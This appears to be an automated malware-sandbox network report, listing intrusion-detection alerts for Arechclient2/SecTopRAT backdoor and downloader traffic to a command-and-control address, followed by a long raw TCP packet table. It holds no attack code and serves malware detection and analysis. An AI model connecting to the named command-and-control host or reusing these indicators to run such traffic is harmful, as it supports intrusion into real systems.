2024-12-17T08:41:32.158177+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50101	92.255.57.75	9000	TCP
2024-12-17T08:41:33.820963+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50102	92.255.57.75	9000	TCP
2024-12-17T08:41:35.378220+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50103	92.255.57.75	9000	TCP
2024-12-17T08:41:35.378220+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50103	92.255.57.75	9000	TCP
2024-12-17T08:41:36.999625+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50104	92.255.57.75	9000	TCP
2024-12-17T08:41:38.552765+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50105	92.255.57.75	9000	TCP
2024-12-17T08:41:38.552765+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50105	92.255.57.75	9000	TCP
2024-12-17T08:41:40.112856+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50106	92.255.57.75	9000	TCP
2024-12-17T08:41:40.112856+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50106	92.255.57.75	9000	TCP
2024-12-17T08:41:41.677206+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50107	92.255.57.75	9000	TCP
2024-12-17T08:41:41.677206+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50107	92.255.57.75	9000	TCP
2024-12-17T08:41:42.959469+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50109	92.255.57.75	15647	TCP
2024-12-17T08:41:43.239733+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50108	92.255.57.75	9000	TCP
2024-12-17T08:41:43.239733+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50108	92.255.57.75	9000	TCP
2024-12-17T08:41:44.098029+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50109	92.255.57.75	15647	TCP
2024-12-17T08:41:44.170116+0100	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	92.255.57.75	15647	192.168.2.5	50109	TCP
2024-12-17T08:41:44.803228+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50110	92.255.57.75	9000	TCP
2024-12-17T08:41:46.362875+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50111	92.255.57.75	9000	TCP
2024-12-17T08:41:46.362875+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50111	92.255.57.75	9000	TCP
2024-12-17T08:41:47.925894+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50112	92.255.57.75	9000	TCP
2024-12-17T08:41:49.500383+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50113	92.255.57.75	9000	TCP
2024-12-17T08:41:49.500383+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50113	92.255.57.75	9000	TCP
2024-12-17T08:41:51.055634+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50114	92.255.57.75	9000	TCP
2024-12-17T08:41:51.055634+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50114	92.255.57.75	9000	TCP
2024-12-17T08:41:52.630037+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50115	92.255.57.75	9000	TCP
2024-12-17T08:41:52.630037+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50115	92.255.57.75	9000	TCP
2024-12-17T08:41:54.205510+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50116	92.255.57.75	9000	TCP
2024-12-17T08:41:55.772578+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50117	92.255.57.75	9000	TCP
2024-12-17T08:41:57.334008+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50118	92.255.57.75	9000	TCP
2024-12-17T08:41:58.896078+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50119	92.255.57.75	9000	TCP
2024-12-17T08:41:58.896078+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50119	92.255.57.75	9000	TCP
2024-12-17T08:42:00.458128+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50120	92.255.57.75	9000	TCP
2024-12-17T08:42:02.024389+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50121	92.255.57.75	9000	TCP
2024-12-17T08:42:02.024389+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50121	92.255.57.75	9000	TCP
2024-12-17T08:42:03.583252+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50122	92.255.57.75	9000	TCP
2024-12-17T08:42:05.187164+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50123	92.255.57.75	9000	TCP
2024-12-17T08:42:06.742557+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50124	92.255.57.75	9000	TCP
2024-12-17T08:42:08.311968+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50125	92.255.57.75	9000	TCP
2024-12-17T08:42:08.311968+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50125	92.255.57.75	9000	TCP
2024-12-17T08:42:09.966936+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50126	92.255.57.75	9000	TCP
2024-12-17T08:42:11.525474+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50127	92.255.57.75	9000	TCP
2024-12-17T08:42:13.100263+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50128	92.255.57.75	9000	TCP
2024-12-17T08:42:14.667243+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50129	92.255.57.75	9000	TCP
2024-12-17T08:42:16.226686+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50130	92.255.57.75	9000	TCP
2024-12-17T08:42:17.785476+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50131	92.255.57.75	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 08:38:12.432625055 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:12.432672024 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:12.432738066 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:12.442982912 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:12.443001032 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:13.690157890 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:13.690278053 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:13.798782110 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:13.798808098 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:13.799834013 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:13.803627014 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:13.844481945 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:13.887337923 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.780639887 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.780708075 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.821254969 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.821307898 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.821325064 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.821363926 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.821369886 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.821400881 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.821407080 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.821454048 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.821460962 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.821490049 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.829654932 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.829706907 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.829729080 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.829767942 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.838073969 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.838124037 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.846324921 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.846379042 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.900281906 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.900347948 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:14.900365114 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:14.900412083 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.013391018 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.013457060 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.017432928 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.017498016 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.017632008 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.017673016 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.024013042 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.024264097 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.032403946 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.032455921 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.032468081 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.032520056 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.040815115 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.040887117 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.040956020 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.040994883 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.047194958 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.047247887 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.047301054 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.047337055 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.053744078 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.053808928 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.053836107 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.053875923 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.060193062 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.060251951 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.066688061 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.066744089 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.066757917 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.066800117 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.073055029 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.073111057 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.073136091 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.073168039 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.079456091 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.079498053 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.079546928 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.079576969 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.085961103 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.086004019 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.092506886 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.092556000 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.092564106 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.092602968 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.101548910 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.101638079 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.101697922 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.101738930 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.206232071 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.206341982 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.206348896 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.206581116 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.208389044 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.208466053 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.213920116 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.213994026 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.214026928 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.214103937 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.225092888 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.225168943 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.235456944 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.235544920 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.240446091 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.240547895 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.245572090 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.245662928 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.255707979 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.255898952 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.267993927 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.268223047 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.275789022 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.275959015 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.280822039 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.281035900 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.290816069 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.290946007 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.302275896 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.302386999 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.306005955 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.306128025 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.315948963 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.316061974 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.323611021 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.323949099 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.397721052 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.398343086 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.403808117 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.404520988 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.408035994 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.408952951 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.416068077 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.416541100 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.424858093 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.425091982 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.427448034 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.427596092 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.436816931 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.437700033 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.441363096 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.441482067 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.444745064 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.444892883 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.451519012 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.451596022 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.457915068 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.457988024 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.464338064 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.464538097 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.471496105 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.471590996 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.474049091 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.474102974 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.477330923 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.477396965 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.483778000 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.483942986 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.490115881 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.490180016 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.496562958 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.496645927 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.501349926 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.501441002 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.507771969 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.507832050 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.511140108 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.511223078 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.517467022 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.517580032 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.520770073 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.520883083 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.527177095 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.527281046 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.590091944 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.590698957 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.591176987 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.591288090 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.595784903 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.595849037 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.606699944 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.606719017 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.606739044 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.606865883 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.606865883 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.606880903 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.606941938 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.619046926 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.619085073 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.619163990 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.619180918 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.619294882 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.619294882 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.632693052 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.632725000 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.633124113 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.633124113 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.633152962 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.635822058 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.645992994 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.646017075 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.646183968 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.646183968 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.646197081 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.646270990 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.655834913 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.655858040 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.655917883 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.655930996 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.656271935 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.656272888 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.664004087 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.664026022 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.664136887 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.664136887 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.664149046 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.664197922 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.669903040 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.669954062 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.669972897 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.669986963 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.670016050 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.670074940 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.671200991 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.671269894 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.785001040 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.785033941 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.785093069 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.785110950 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.785428047 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.785428047 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.789108038 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.789189100 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.789196968 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.789216042 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:15.789236069 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.789412022 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.789529085 CET	49704	443	192.168.2.5	104.21.112.1
Dec 17, 2024 08:38:15.789552927 CET	443	49704	104.21.112.1	192.168.2.5
Dec 17, 2024 08:38:18.038049936 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:18.038120985 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:18.038291931 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:18.048142910 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:18.048166990 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:18.817543030 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:18.817583084 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:18.817666054 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:18.827549934 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:18.827564955 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:19.469615936 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:19.470010996 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:19.472718000 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:19.472729921 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:19.473021030 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:19.480037928 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:19.527328014 CET	443	49709	83.166.133.91	192.168.2.5
